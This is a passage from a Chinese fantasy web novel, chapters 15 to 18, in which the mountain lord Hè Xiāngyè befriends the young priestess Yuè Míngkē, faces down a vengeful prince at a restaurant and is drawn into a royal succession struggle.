贺缃叶吃得有些饱了,跳下石头,说道:“走了,回去睡觉。”
“我再忙一会儿,你先回去。”
“好。”
贺缃叶走在月光下,心中不甚坦荡。她方才想说,其实你也不了解我。
她承认,救下月鸣珂是意外,让其住在沧浪居虽是帮了她,但更多包含着的是权衡与利用,只不过,往后她会尽力将她当做真正的朋友。
15. 第 15 章
这一夜,许多人都未能睡个安稳觉。
清晨时分,承露殿中侍女扫洒的动作大了些,便被掌事嬷嬷好一顿低声斥骂。
“拙手笨脚,扰了娘娘清梦,仔细你的皮!滚下去!”
“千嬷嬷。”寝殿传来女人带着倦意的嗓音。
那掌事嬷嬷快步走了进去:“奴婢在。娘娘可是要起身了?”
“左右也睡不着,起吧。”
“娘娘总睡不好,不若奴婢让医官来瞧瞧?”
楚栾华摇了摇头:“不必,你去把苍艾叫来。”
“是。”
苍艾进来时,她已经梳洗好坐在桌边用膳了,殿中只余她二人。
“事情办得如何了?”
“回夫人,属下刺杀失败,万死难赎。”苍艾低着头跪在地上。
楚栾华喝汤的动作一顿,又若无其事地用起了饭。
“以你的修为,对付月鸣珂绰绰有余。”
“属下本要得手,关键时刻贺缃叶现身救下了她。”
“贺缃叶?”楚栾华秀眉微蹙。
“正是。”
几息之间她便想通了。
“若有人死在山上,她自是罪责难逃。让你查的,她跟老三可有勾结?”
“奴婢盯了一段时间,三殿下去找过她一次,很快便出来了。”
“难不成是老三让她保护月鸣珂的?”
“也有可能只是巧合。”苍艾联想到那日的情景,将自己的想法说了出来。
“那老三为何去找她?”
“可要属下再去探一探?”
楚栾华扫了她一眼:“你已经暴露了。”
“属下该死!”
“自去领罚,暂时按兵不动。”
“谢夫人。”
苍艾离开后,千嬷嬷带着侍女进来收走了碗碟。
“娘娘,此事可要告诉将军?”
“先不用。冥儿怕是已经知晓此事了,一击不成,不宜再动。”
“是。”
“近日两仪殿有何动静?”
“回娘娘,那位每日便是赏花作画,悠闲得很。”
楚栾华冷哼一声:“也就是个表面母子,还真以为是一条心呢!”
“自是不及您与太子。”
她听了这话,十分熨帖。
可讽刺的是,她自认为勠力同心的儿子此刻正在查她。
卧龙峰一处树林之中,扶光站在云青冥身侧低语着什么。
“殿下,可要将苍艾抓来?”
“不必。”云青冥眸中寒光乍现,“她是母妃的心腹,不会承认的。”
“那咱们……”
“将表小姐送回府,让她以后没事不要再来了。另外给母妃带个话,我的婚事不劳她操心。”
“是,殿下。”
扶光走后,云青冥在原地站了许久。
小院中,楚霁蓝大喊:“我不回去!表哥呢?我要见他!”
“表小姐,殿下有正事要忙,没空见您,他吩咐属下将您安全送回将军府。”扶光不为所动。
“那月鸣珂呢?她为何一直留在这里不走?是想勾引表哥吗?”楚霁蓝口不择言。
“啪”地一声,一个巴掌将她打懵了,她噙着泪捂着脸看着对方:“表哥,从小到大,爹爹都没打过我,你竟然打我。”
云青冥刚回来就听到了这么一句话,气急才动了手。
“说话口无遮拦,不堪入耳,便是到了舅父跟前,我也照样管教。”
“你!”楚霁蓝哭着跑走了。
“扶光,跟上去,送她回家。”
“是,殿下。”
云青冥捏了捏眉心,觉得有些累,连午膳都没心思用。
反倒是贺缃叶,听闻此事,心情大好。虽天气微凉,她仍带着月鸣珂和两个侍女去妖都城中散心去了。
“缃叶,我这样偷偷出来玩不太好,若是让人发现了,免不了会生事端。”月鸣珂不安地环视了一圈。
“咱们这是正大光明,就算你要画图,那也不能一日都不歇。不必担心,我已经知会过云青骊了。”贺缃叶牵着她的手,直奔馔玉楼,“走了,先去吃饭。”
“那好吧。”
月鸣珂只好跟着贺缃叶进了馔玉楼,晴山和月魄也显得很兴奋。
去的时候恰是饭点,没有包间,四人只好坐在了大堂靠右的窗边,窗外是一条河,倒也还算清净。
“鸣珂,你来过这里吗?”等菜之时,贺缃叶与月鸣珂闲谈。
“来过几次,不过没有坐在一楼,都是提前预订的二楼雅间。如此看来,这里也不错。”
有游人在河上泛舟,有行人从桥上匆忙走过,有小贩高声叫卖,还有孩童嬉戏,好不热闹。
不一会儿,菜上齐了,贺缃叶又要了一壶青竹酿,晴山给主仆三人都倒了一杯。
“要来点吗?”贺缃叶把着酒壶问。
月鸣珂轻轻点头:“就喝一杯。”
瞧她那模样,想来是很少饮酒。贺缃叶笑着给她倒了半杯。
正吃着菜,堂中忽然一阵骚乱。
顺着视线望过去,有位客人倏尔倒地不起了,同行之人皆惊慌不已。
恰在此时,酒楼东家来了,是个女人,女扮男装。她蹲下身子把脉,给那人服了一颗药,又叫下人抬去了医馆。
接着她对酒楼众人说道:“这位客人用过药又来此饮了酒,体内灵力混乱,这才导致昏厥。各位不必忧心,正常用餐便是,今日餐食价钱全部折半。”
说完她就去了二楼,堂内又恢复了平和。
贺缃叶看着她的背影若有所思,总觉得,这女人有些眼熟,但又不知在何处见过。
她的视线落在月鸣珂脸上,不经意问道:“鸣珂,你可知这女人是谁?”
月鸣珂的脸蛋有些红,想来是那半杯酒的缘故,但意识尚算清醒,她用手捧着脸,答道:“知道呀,二王女。”
云青黛?云青莲的妹妹?难怪她觉得眼熟。
既然云青黛在此,那云青莲会不会……
贺缃叶立即靠近低声问道:“鸣珂,你吃好了吗?我们可以回去了。”
“这不还有好多菜吗?你放心,这里的客人多数都是王室贵族,大家都认识。二王女人也很好,方才她喂了那人一颗上品丹药,不会有问题的,而且她做生意很厉害。”月鸣珂还以为她是因方才那个被抬出去的人而忧心自己。
可贺缃叶是怕云青莲怀恨在心,若他真的在此,会对她们不利。
她同晴山月魄对视了一眼,两人便知晓她的意图,起身扶着月鸣珂,准备离开。
贺缃叶刚把结账的灵石放在桌面,便觉得有目光落在自己身上。
她抬起头,恰巧与二楼窗边之人对视个正着,那人正一脸玩味地看着她。
她忍住冲上去给她一枪的冲动,移开视线,往外走去。
然而下一瞬,楼上之人便闪身到了她眼前。
月鸣珂见状,酒被惊醒了大半,直起身子朝眼前之人行礼。
“见过大殿下。”
“少祭司倒是稀客。”云青莲笑意不达眼底,“不知身旁这位是?”
“臣女的好友。”
“朋友?此前倒未曾见过。”他在后面几字上加重了语气,而后又问道,“少祭司不介绍介绍吗?”
“在下贺缃叶。”没等月鸣珂替她出声,贺缃叶就忍不住了,此人明显是在故意刁难她。
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“贺缃叶?莫不是那位让三弟替你受过的姑媱山君?确实霞姿月韵,难怪三弟……”
“殿下。”这一次,出声的是月鸣珂。
“若无别事,臣女便和友人先行告退了。”
她挽着贺缃叶的手臂往外走。
“站住。”云青莲脸上完全没有了笑意。
“殿下想如何?莫非是看臣女好欺负?”月鸣珂一向温婉的脸此刻也尽是冰霜。
“你可以走,她不行。”云青莲指向贺缃叶。
“光天化日之下,殿下是想强抢民女?”
“你不妨问问,你的这位好友对我做了什么?”
此言一出,堂中安静了许多,众人想凑过来听个究竟但又碍于云青莲的身份不敢过于靠近。
“你们也想听?”云青莲视线在人群中转了一圈,众人纷纷扔下饭钱,作鸟兽散,顷刻间,大堂变得空空荡荡,只余他们几人。
月鸣珂不明所以,贺缃叶安抚地看了她一眼。
“殿下这话说的像是我对你做了什么不轨之事一般。”
云青莲拉了张椅子坐下:“我这伤还未好利索,你便翻脸不认了是吧?”
“殿下此言差矣,彼时我并不知你身份,不知者无罪,难不成殿下要因此降罪于我?”贺缃叶气势丝毫不弱,一顿输出,“何况殿下不是已经出气了么?”
“出气?”云青莲像是听到了笑话,但眼中并无笑意,“我怎的不知?”
“殿下非要我将事情挑明?”贺缃叶已经有些不耐烦了,此人真正难缠。
“说说看。”云青莲靠在椅背上,一副看好戏的表情。
“殿下利用木材一事一箭双雕,只不过三殿下代我受了罚,殿下目的已经达到。”
“他是他,你是你,怎的能混为一谈?”
“殿下今日是铁了心不让我走了?”贺缃叶的声音也冷了起来。
“你受我一掌,便能走。”
原来他的目的是这个,果真睚眦必报。
贺缃叶倒是觉得没什么,但月鸣珂的脸色却变了。
她走过去挡在几人前面:“大殿下,缃叶是我的救命恩人,你若非要与她为难,那就先杀了我。”
“少祭司这是说的哪里话?”云青莲皮笑肉不笑,“你可是父王钦定的修陵之人,我若动了你,岂不是自讨苦吃?”
“那你就放我们走。”贺缃叶欲上前,被她按住了。
云青莲眸光微动,蓦地笑了起来:“既然少祭司以命相护,那我也只能答应了。不过,咱们,后会有期。”最后一句是对着贺缃叶说的。
“告辞。”月鸣珂拉着贺缃叶出去了。
贺缃叶回头,正对上云青莲的视线。不过很快,身边之人说了些什么让他脸色巨变,无暇顾及自己,转身走了进去。
“缃叶,大殿下所言可是真的?你先前怎会伤了他?”月鸣珂的话将她的思绪拉了回来。
她解释道:“我之前去极南之地取炎阳之火遇到了他,他同我抢东西,我便打了他一掌,那时并不知他的身份。”
“难怪他今日如此咄咄逼人,瞧他那副模样,恨不能将你立毙。”月鸣珂一脸忧心。
“鸣珂,谢谢你。”贺缃叶真心实意地道谢。今日若没有她,自己怕是要吃些苦头。
她笑得温柔:“同我客气什么?你可是救了我的命,咱们是好友,不必说这些。”
“好。”
“山君,咱们可要立即回山?”晴山在身侧问。
原本贺缃叶是打算回去的,但观方才云青莲急匆匆的模样,想来是没有功夫与她为难了。
“不回,今日说好了出来玩,便要尽兴。”
说完,她大步向前走去。
16. 第 16 章
身后的月鸣珂看到两个侍女欲言又止的模样,便知她们在想些什么。
“莫要忧心,缃叶暂时没有危险。”
“多谢少祭司。”两人行礼。
“缃叶,你放心,我不会让他动你的。”月鸣珂快步走上前挽着贺缃叶的手臂,说道,“既然不回去,咱们去绮罗阁转转好了。”
“好。”
“一会儿你们也挑几身衣裳。”贺缃叶对着两个侍女说道。
“谢山君。”
四人买完东西,待出来之时天已经快黑了。
贺缃叶想了想,天色已晚,要不要立刻回去。谁知月魄指着街上的小摊问道:“那是什么?看起来好有趣。”
众人循着视线看去,摊子上摆着许多花盆,盆中皆是些未开,甚至枯死的花。
那摊主是个女花妖,笑着解释:“若是有人能让这些花盛开,便可中得相应的彩头。一枚下品灵石一次,可有愿意一试者?”说完她指了指一旁的架子。
贺缃叶的眼神落在了架子上的一物之上。
她快速走过去,递了块下品灵石:“我来。”
花妖连忙接过,问道:“这位姑娘可有心仪的彩头?”
“它。”贺缃叶用手指了指。
“姑娘真是好眼光,此物由珍兽灵犀之角所制,异常坚固且具有感知力,乃头彩。”
“如何获得?”
花妖端上前一盆看起来已经枯死的植物:“姑娘若能让这株银月兰起死回生,便可拿走头彩。”
摊子上瞬间围了许多人,有人在小声讨论。
“这位姑娘怕是第一次来,我都未曾见过有人成功过。”
“而且这株兰草明明已经枯死了,哪还有救?分明是诓人的。”
“这块灵石又是有去无回咯~”
“……”
贺缃叶没理会周围叽叽喳喳的声音,坐在了一旁的小桌边。
她接过那盆银月兰,从怀中掏了只小瓶出来。而后将瓶中液体倒在了盆里,接着以灵力催发,不多时,那枯死的兰草竟又重新焕发了生机,慢慢地,有新芽长了出来。
“这怎么可能?”
周围议论声渐大。
“这位姑娘并非花木系妖灵,竟有此能力?”
“难道是我瞧花了眼?”
“这位姑娘倒有些本事。”
“……”
贺缃叶站起身来,对那花妖说:“如此可行?”
“自是可以。”花妖先是有点懵,接着立刻将架子上的东西取了下来递给贺缃叶,“姑娘好本事,恭喜姑娘。”
“多谢。”
贺缃叶在众人欣羡的目光下离开小摊,将所得之物送给了月鸣珂。
“你自己得的,怎的给我了?”
“我要来又没甚用处,原本就是为了送你的。”贺缃叶笑道,“这犀角铃与你很配。”
她在看到的那一瞬间,想起动土仪式那日第一次见月鸣珂,她正拿着法杖,上面就系着一只铃铛。
“谢谢你,缃叶,你对我真好。”
月鸣珂一脸感动的模样,倒叫贺缃叶有些无措了,此事只是举手之劳,毕竟方才她帮了自己一个大忙。
于是她回道:“你对我也很好。”
不论如何,月鸣珂是真心待她,自己必然不能辜负。
“天黑了,咱们去吃点东西吧。”
“好啊,你想吃……”话未说完,贺缃叶脸上的笑容消失,盯着来人。
月鸣珂抬起头,发现云青冥站在不远处。
扶光走上前来:“少祭司,我家殿下有请。”
“我不……”
“殿下说有要事相商。”
月鸣珂把目光投向了贺缃叶。
贺缃叶点点头:“无妨,你想去便去,我让晴山跟着你。”
虽然她不喜云青冥,但是楚妃所为,他云青冥确实应该给鸣珂一个交代。
月鸣珂跟着云青冥走了,贺缃叶带着月魄独自闲逛。像这般情景,以前她很少体会。
长街灯火,一派繁荣;流水小桥,诗情画意,甚好。
“山君,那儿人不多,咱们去那亭子里坐坐吧?”月魄忽然指着高处桥上的亭子说道。
“好。”贺缃叶迈步向前。
谁知月魄一溜烟跑得飞快:“山君,您先去,我去买些小吃,一会儿来寻您!”
“……慢点。”
贺缃叶站在桥上看了会景色,夜风袭来,忽觉天地广博,连心境也开阔不少。
“此处不冷么?”倏然,身侧传来一个声音。
待转过头发现竟是云青骊。
“殿下怎的来了?”
“原本是想找少祭司商量一下星图之事,听说你们来此,我来瞧瞧,也是许久没出来了。”
原来是来找鸣珂的。贺缃叶“哦”了一声,解释道:“她被太子殿下请走了,殿下你来迟一步。”
“无妨,明日再说也行。”云青骊单手背在身后,不经意地提起,“听说山君今日遇到大王兄了?”
“殿下消息倒是灵通。”
云青骊盯了她的脸片刻,而后笑了一下,没作解释。
贺缃叶感觉气氛有些尴尬,没话找话:“今日在馔玉楼有位客人突然晕倒了。”
“山君可知,那人是谁?”
“不知。”她觉出一丝不寻常的气息,偏过头问,“殿下知道?”
“此人乃父王身边大护法之子,金埒。他今日刚被送去医馆,大护法便派人将其接了回去。”
“云青莲动作还真快。”贺缃叶撇撇嘴。
“不过,大护法并非是从云青莲处得到的消息。”
“你的意思是,在他派人送信给大护法之前,大护法就已经知晓了此事。”
“嗯,明日朝会怕是会很热闹。”
贺缃叶立刻反应过来,紧紧盯着云青骊的脸:“殿下的手笔?”
“我并未派人去送信,只是将消息散得广一些罢了。”
“殿下好手段。”她第一次觉得这才是真正的云青骊。
想来他一直都盯着馔玉楼,在金埒晕倒的第一时间便将消息故意透露给了大护法,而大护法从他人口中得知自己儿子出事,自是会对云青莲兄妹不满。
“山君谬赞。”云青骊笑得自然又舒展。
“坐坐?”贺缃叶回过头,见亭子里空了,便示意他坐下聊会。
“山君请。”
贺缃叶拉了
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拉披风,在凳子上坐了下来。
“殿下此番算是扳回一局了。”
“是我们。”云青骊纠正。
贺缃叶忍不住笑问:“殿下此番是在拉拢我?”
“我以为我们早已是盟友。”
云青骊一本正经的模样让贺缃叶笑容僵在脸上:“缃叶无权无势,殿下为何选我?”
“山君自有过人之处。”
贺缃叶无法相信,云青骊竟会将她当作盟友。若说是有利益关系的合作伙伴,她倒还能接受,可若是她站在了三王子阵营,那便不好说了。
王宫之中,大王子有姜氏一族支持,灵石不缺,银钱不愁,补给源源不断;太子更是有楚妃和大将军支持,呼声极高。他们一个有钱,一个有权,唯独云青骊,钱权皆无。
“可缃叶,并无结党之心。”
“但,大王子,不会放过你,并且他会认为你我是一伙的。”云青骊直言不讳。
“殿下还真是,将我架在了火上。”
贺缃叶知道他说的是事实,虽说当初是无意,可她还是阴差阳错利用纸人伤了云青莲,但这一瞬间,她仍有种无力和沮丧。
深深吸了口气,感觉夜风穿过嗓子眼,凉到了心里。
“山君觉得,我毫无胜算?”云青骊好像永远不会生气,总是一副波澜不惊的模样。
“这同殿下有无胜算无关。”她的声音有些飘忽,“自古以来,夺位之争不论输赢,总是要牺牲许多人,而缃叶,不想让我姑媱山生灵沦为陪葬品。”
“我同山君的交易只限山君本人,无需你手下妖替我冲锋陷阵。相反,我会尽力护好他们。”
“殿下此言当真?”贺缃叶的眼中多了一丝光彩。
“一言既出,金玉不移。”
“成交。”怎么看,这都不是赔本买卖。
她看着自桥上走上来的月魄,心情也好了许多:“殿下可用过晚膳了?”
“尚未。”
“要一起吃些吗?”
“好。”
月魄提着大包小包上来,见到云青骊在此,行了礼后将吃的摆在桌上,退到一旁。没过一会儿,渌波手里也拿着吃的上来了。
“你俩也去吃点吧。”贺缃叶吩咐,随即两人退了下去。
她有些饿,所以吃得很快,待擦嘴之时才发现云青骊没动两口。
“不合胃口?”
“我自小便胃口不好,所以吃得慢,山君见谅。”云青骊解释。
“哦……是我吃得太快了,殿下慢用。”贺缃叶不好意思地挠挠头,这才想起先前和他一起吃饭那次,他也是吃得极慢且不多,原来是胃不好。
桥下,月魄和渌波两人难得和平相处。
“这个还挺好吃,你要不要来点?”渌波递来一个纸包。
月魄将信将疑地接过,尝了一口,评道:“还真不赖,不过比我做的还是差了些。”
“的确,我家殿下胃口一向不好,也说你做饭好吃。”
如此直白的真心夸赞,倒让月魄有些不好意思了,她想起先前两人的针锋相对,嘿嘿笑了两声:“多谢。”
桥上桥下一片祥和,可今夜却有人尴尬相对,有人大吵大闹,有人坐立难安。
17. 第 17 章
桌上摆满了珍馐美馔,然而月鸣珂却如坐针毡。
从她被带进屋开始,云青冥只说了一句话,便是吃饭,她只好先填饱肚子。
但吃了几口,便吃不下去了,因为有目光时不时落在她脸上。
“殿下,您这样看着我,我吃不下。”她无奈地放下筷子。
“我不看你。”云青冥低头喝茶。
月鸣珂在心中叹了口气,彻底没了食欲,直接问道:“殿下找我所为何事?”
云青冥抓着杯子的手露出青筋:“我并不知母妃会如此行事,让你身处险境,对不起。”
竟是为了道歉?月鸣珂眼睛眨了眨,有些迟缓地回:“我信此事与殿下无关。”
“那你……你……”
云青冥欲言又止的模样让她捉摸不定:“殿下是想问我会不会因此事疏远您?”
“嗯。”他闷闷地应了一声。
“殿下宽心,你对我并无恶意,我自是会与殿下如常相处。”
“那我能……去找你吗?”
“殿下找我……有事?”她有些懵。
云青冥立刻解释:“不……无事不能寻你么?”
月鸣珂这才理解他的意思。
她抿了抿唇,把上次说过的话又强调了一遍:“殿下,臣女说过,我们各自的终身大事并非能随心所欲,一切还是顺其自然地好。”
“我对蓝儿并无男女之情,也不会娶她。”
“那是殿下的事。”她站起身来,“多谢殿下款待,臣女告辞。”
直到自己手上杯子里的水洒了出来,云青冥才意识到月鸣珂已经走了许久。
他第一次觉得,难道真的是自己过于强求了?可从小到大,自己没有什么东西是得不到的,除了月鸣珂。
他抬起头,觉得窗外的月光有些刺眼。
相同的月光亦照进了大将军府邸。
屋子里奇珍异宝碎了一地,床上坐着个正在啜泣的女子,正是楚霁蓝。
一旁椅子上有位衣饰华丽的妇人,脸色不佳。
“蓝儿,你哭也哭了,闹也闹了,该收收了。”
“母亲!”楚霁蓝抹了把眼泪,红着眼眶,“您一点儿都不疼我!”
“蓝儿!”楚夫人有些恨铁不成钢,她掰正自家女儿的脑袋,“哭泣无用。”
若是不心疼,她也不会任由女儿大哭大闹,摔摔打打,更不会一直陪在身旁。只是她这个女儿,好像养得有些娇贵天真了。
“蓝儿,听母亲说。”楚夫人叹了口气,又不得不安慰自己这个宝贝女儿。
“你跟太子的亲事,已是板上钉钉,不用在意他人看法,楚妃一心想与我们结亲,自是不会便宜了别人,除非,他云青冥不想要我将军府的势力。”
说完,她又接着补充了几句。
“你只要表现得温柔得体,莫要在太子面前撒泼胡闹,他也会对你容忍些的。王室姻亲,一向都是利益考量,男女情爱一事,能有最好,没有也不必强求。”
“可是我从小就喜欢表哥啊!”楚霁蓝眼中全是委屈。
“假如,他是个一无所有的低等小妖,你还会喜欢他吗?”
“可表哥生来便是太子,怎会是籍籍无名的小妖?”
“呐,你从未曾想过此等情况。母亲知道你喜欢他,可他对你只有兄妹之情。”楚夫人握着女儿的手,“蓝儿,你想要成为太子妃,你想要无上荣光,你还想要他的爱,但有时候,咱们不能太过贪心。”
“就算表哥一无所有,我也喜欢他!”楚霁蓝信誓旦旦。
“可你自小习惯了锦衣玉食,万人簇拥,你真的能陪一个一无所有的人过苦日子吗?”楚夫人站了起来,“你好好想想,想通了明日去宫里同你姑母叙叙话,母亲先走了。”
楚霁蓝看着满地的碎片和母亲离去的身影,陷入了沉思。
而宫中也不甚太平。
无忧殿里,云青莲和云青黛面色凝重地坐在椅子上,上首是位杏面桃腮的女子,此乃二人生母姜竹月,姜妃。
“大护法是如何在你们之前得知消息的?”
“回母妃,儿臣也不知,金埒一晕倒,我们就派人给大护法送了信。”云青莲忍着怒意,说道,“定是有人故意为之,想要挑拨我们和大护法的关系。”
“黛儿怎么看?”姜妃的视线落在一直没说话的女儿脸上。
“论速度,我们第一时间便派人去送了信,而大护法却通过其他人知晓了此事,说明时间上有问题。我问过去送信的侍卫,他说中途有车堵住道路,他的马过不去,停留了片刻。许是就这片刻的时间,便让人钻了空子。”云青黛虽然面色不虞,但说话不慌不忙。
“可恶!”云青莲捏紧了拳头。
姜妃觑他一眼:“学学你妹妹,稳重些。”
说完她又问道:“黛儿可有法子解决?”
“母妃,原本此事没什么,以前也有过此类事件,我们讲清缘由就行。可此次大护法从其他人口中知晓,明日朝会他定会说我们故意隐瞒不报,想要伤害他儿子。”
“咱们解释清楚不就行了。”云青莲插了一句。
“哥哥,你觉得他会听我们解释吗?”
“那就将背后之人揪出来。”
“那消息是从大护法府外的面馆传到他府中的,口口相传,人流众多,一时查不出源头是谁。”
云青莲恼怒地拍了一下桌子:“定是云青骊!他记恨我让他受了伤。”
“可你没有证据,父王也不能将他如何。而且,当时在馔玉楼,那么多人都看到了,更是说不清楚。”
“那咱们明日岂不是要吃下这个暗亏了?”
云青黛思索了几息,才说道:“明日实话实说便是,赔礼道歉不能少,咱们馔玉楼的声誉不能再受损,至于大护法信不信,他自会分辨。不过,他一向同大祭司不对付,咱们送他个大礼,想必他便会消气了。”
“是何大礼?”姜妃忍不住问。
“请母妃拭目以待。”云青黛站了起来。
“去吧。”姜妃摆了摆手,有些疲惫。
“儿臣告退。”
两人出了殿,走在路上,云青莲好奇问道:“妹妹所说大礼究竟为何?”
“金埒身体一直不算好,大护法一直在搜罗各种奇珍异宝,想要为儿子五百年突破渡劫做万全准备。哥哥可还记得,先前大祭司手中有一法器名唤遮天镜,大护法一直想换给儿子用,奈何大祭司不应允,故而两人关系才不好。”
“此事我知晓,但这和我们有何关系?”
“遮天镜我们确实拿不出来,但咱们,也可以让大祭司没了此物。”云青黛眼中精光闪现。
“此话怎讲?”云青莲顿时来了兴趣。
“遮天镜乃防护法盾之流的强大法器,上次陵寝木材起火,哥哥可向父王建议将其用于建筑工事,待修建完成再归还给大祭司。”
修陵周期长,归还之前可能会出现各种情况,包括破损毁坏等等。
云青莲立马明白妹妹的意思,又有点担忧:“但若我们损毁此物,大护法会不会责怪于我们?”
“谁说我们要损毁了?”云青黛似是对自家哥哥的智商有所怀疑,一脸无语,“金埒还有三个月就五百岁了。”
“你的意思是让他去姑媱山渡劫?”
“嗯。”
“妹妹好计策。”云青莲连连夸赞。
可云青黛只是勉强地笑了笑,她这个哥哥,文不成武不就,实在是难堪大任。
次日,楚霁蓝坐着兽车进宫之时,烈天殿朝会刚刚开始。
“王上,臣有事启奏。”一个身材魁梧的男子站了出来,此人正是大护法金驼。
“大护法有何事要奏?”
“昨日,臣的儿子去馔玉楼饮了酒后便晕了过去,体内真气混乱,如今还卧病在床,可臣是听到坊间流言才知此事,还请大王子给个说法。”
“竟有此事?”云玄天
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眉头微蹙,看向云青莲,“老大,怎么回事?”
“回父王,此事当真是个误会。”云青莲不卑不亢,“昨日金埒来馔玉楼饮酒,儿臣并不知晓此前他服了药,也在他晕倒第一时间将人送去了医馆,还派人去大护法的府邸送了信。”
“那为何臣并未第一时间收到大王子的信?若非听到传言,臣还不相信。”
“昨日见到此事的人众多,我不可能去捂每个人的嘴,传出去极有可能是有心之人故意为之,还请父王明鉴。”
大护法冷哼一声:“大王子倒是能说会道。”
“好了。”云玄天摆了摆手,“老大,晚些时候你带上厚礼去大护法府上道个歉,下不为例。”
“是,父王。”
“大护法,金埒那孩子是个好的,一会儿将本王珍藏的天蛇皮甲带给他。”
“谢过王上。”
云玄天看了一眼下首,问道:“还有要奏的吗?”
“儿臣有事禀告。”云青莲又站了出来。
“你还有何事?”虽说自己对这个儿子有一定的容忍度,但几次三番,云玄天已经有些不耐烦了。
“回父王,是关于修陵一事。”
“说。”
“上次木材意外失火,给修陵一事造成了巨大损失,听闻大祭司手中有一遮天镜,是防护利器,儿臣愿出十箱上品灵石,借此物一用,待陵寝修建完成再归还。”
“哦?”云玄天来了些兴趣,望向另一方向,“大祭司,你意下如何?”
月琅玕抱拳答道:“臣确有此物,自是愿意将其用于修陵一事。”
“好!”云玄天抚掌,剑眉上挑,心情大好,“此事就交由老大去办,大祭司慷慨解囊,当赏!”
“谢王上恩。”
“本王听说,王后有意促成老三和鸣珂,不知大祭司觉得如何?”
月琅玕眼眸微动,垂首回道:“臣谢王后美意,不过臣这个女儿,看似温婉柔弱,实则是个有主意的,臣已经答应她婚事自行选择,不会干涉,待臣回府问问她的意见。”
“也罢。”云玄天摆了摆手,不再勉强,“那今日便到此吧。”
“(儿)臣告退。”
大臣们陆续走出宫门,云青莲追上金驼:“大护法留步。”
金驼脸色仍不太好:“大殿下有何事?”
“大护法可知,我为何要如此建议父王?”
“殿下此番失了圣心,自是要挽回一番。”金驼懒得与他虚与委蛇。
“非也。”云青莲看了一眼四周,压低声音,“据我所知,令郎还有三月便要突破,此番提议正是为了他。”
“殿下的意思是……”
“大护法心中有数便好。”云青莲立即打断。
金驼脸色这才好转了许多,语气也客气不少:“多谢殿下。”
“令郎一事,我句句属实。我受了冤枉不要紧,可大护法万万不可被人挑唆,以免落入他人圈套。”
似乎是在判断他说的话有几分真,几分假。少倾,金驼回道:“多谢殿下提醒,臣先告辞了。”
云青莲停在原地,久久盯着那离去的背影。
忽的有女声在身侧响起:“可成了?”
他扭头一看,是自己妹妹,于是露出了胸有成竹的笑:“自然,不过可惜了那十箱灵石。”
“算不得什么,哥哥若不拿些诚意出来给父王和大臣们看,他们自会怀疑你的意图。”云青黛一脸不在乎。
“这我自然知晓,此次多亏了妹妹。”
“哥哥往后需更加谨慎小心才是。”
云青莲点头,想到什么,他的语气变得咬牙切齿:“老三摆我一道,我必还他!”
“哥哥有什么想法?”
“上次因着月鸣珂之故,我没能报那一掌之仇,如今总算给大祭司添了些堵,但那贺缃叶,同老三关系密切,我定不会放过她。”
云青莲的眸中迸出凉意,勾了勾唇。
18. 第 18 章
贺缃叶听到消息的时候,正在给种子浇水,多少觉得有些讽刺。
除了云青骊,妖王对另外三个子女都是宠爱有加,此番在云青莲的事上又是高高拿起,轻轻放下。
“山君,大王子可真是好运,每次都能逢凶化吉,可恶。”月魄忿忿不平。
“并非他运气好,而是妖王一向对他睁一只眼闭一只眼。”
“那咱们便拿他没办法了吗?奴婢听说他马上就要带着遮天镜上山来了,届时他肯定会为难您的。”
贺缃叶将浇水的壶递给晴山,接着用小锄头松了松盆中的土,不甚在意地说:“太子和三殿下都在山上,他们可不是吃素的。”
月魄那小嘴叭叭不停:“咱这山上跟个戏台似的,你方唱罢我登场,走了张三来了李四。”
“噗。”贺缃叶没忍住笑了出来,“你这小妮子,还挺会说。”
主仆三人笑作一团。
“笑什么呢?”月鸣珂身着紫色披风走了过来。
贺缃叶站起身来,将锄头放在一边,朝她招手:“你来得正好,替我占卜占卜,我这种子能不能活?”
“哪有卜这个的?”月鸣珂一时没反应过来,表情显得有些呆愣。
“逗你玩的。”贺缃叶轻轻地揪了一下她的脸,觉得有趣极了。
待她反应过来,脸蛋绯红:“缃叶,你今日怎的像变了个人似的?”
“不好吗?今日心情不错。”贺缃叶脚步轻快地进了屋。
月鸣珂跟在她身后轻声念叨:“好是好,就是觉得有些怪怪的。”
“对了,昨日云青冥没有把你如何吧?”她转过身问。
“没有。”月鸣珂摇头,声音带着一丝迷茫,“但他对我好像有些……过于执着了。”
“你怎么想的?”
坐下来后,贺缃叶倒了两杯茶。
“我就是不知,所以才来找你说说话。”月鸣珂将杯子捧在手中,蒸腾的热气将她的脸映得有些模糊。
“你讨厌他吗?”
“好像谈不上。”
“那便顺其自然。”
“好。”
贺缃叶喝了口茶,又想起一事:“听说今日妖王提及了你和三殿下的婚事,所幸大祭司替你挡了过去。”
“此事就更是无稽之谈了。”月鸣珂放下杯子,叹了口气,“我父亲从不喜结党,我与三殿下更无男女之情,只怕是要让王后失望了。”
听到这里,贺缃叶内心的异样不知不觉消失了,说不清是因为月鸣珂还是云青骊,亦或两者皆有。
“不论是三殿下还是谁,总归是皇家,都没有简单的。偏你心思单纯,我觉着,都不怎么适合你。”这话她却是发自肺腑。
月鸣珂握住贺缃叶放在桌上的手,眼眸晶亮:“缃叶此话甚合我意,我有好友与星空足矣,断不愿成为谁的附庸。”
“说得好!今日咱们必须喝点!”贺缃叶大手一挥,“晴山,拿酒来。”
“是,山君。”
两人对饮,喝得胃暖暖的,可月鸣珂酒量极差,一杯就倒了。
贺缃叶喝完才想起来这茬,怕她着凉只好将她抱去了床上,盖好被子后,自己又回到桌边,自斟自酌。
“山君,可要奴婢将少祭司送回去?”晴山在一旁问。
“就让她睡着吧,醒了再说。”
“是。”
“对了,云青莲来了吗?”
“尚未。”
“过几日便是师父的祭日,做好准备,莫要让其他人惊扰了师父。”
“奴婢明白。”
月鸣珂醒来之时,天已经黑了。
她迷迷糊糊醒来,瞧见外面的天色,猛地从床上坐起:“糟了,我睡过了!”
“莫慌。”贺缃叶放下书走了过来,问道,“还有不舒服吗?”
“缃叶,我怎么睡你床上了?”
“你喝醉了。”
月鸣珂“哎呀”一声,翻身下床:“时候不早,我得回去干活了。”
“先用个晚膳,填饱肚子。”贺缃叶将她带到餐桌前,桌上是月魄刚做好的饭菜。
“这么一说,还真有些饿了。”
月鸣珂坐下来,快速且斯文地吃完了,看得贺缃叶一愣一愣的。
“缃叶,我吃好了,先回去啦。”
“……你慢一点。”
贺缃叶一脸无奈地在她身后喊着,不知道的还以为她有十万火急之事。
“瞧着少祭司平日还挺稳重的,今日莫不是喝了酒的缘故,整个人跳脱不少,还怪可爱的。”月魄一边进屋收碗一边说着。
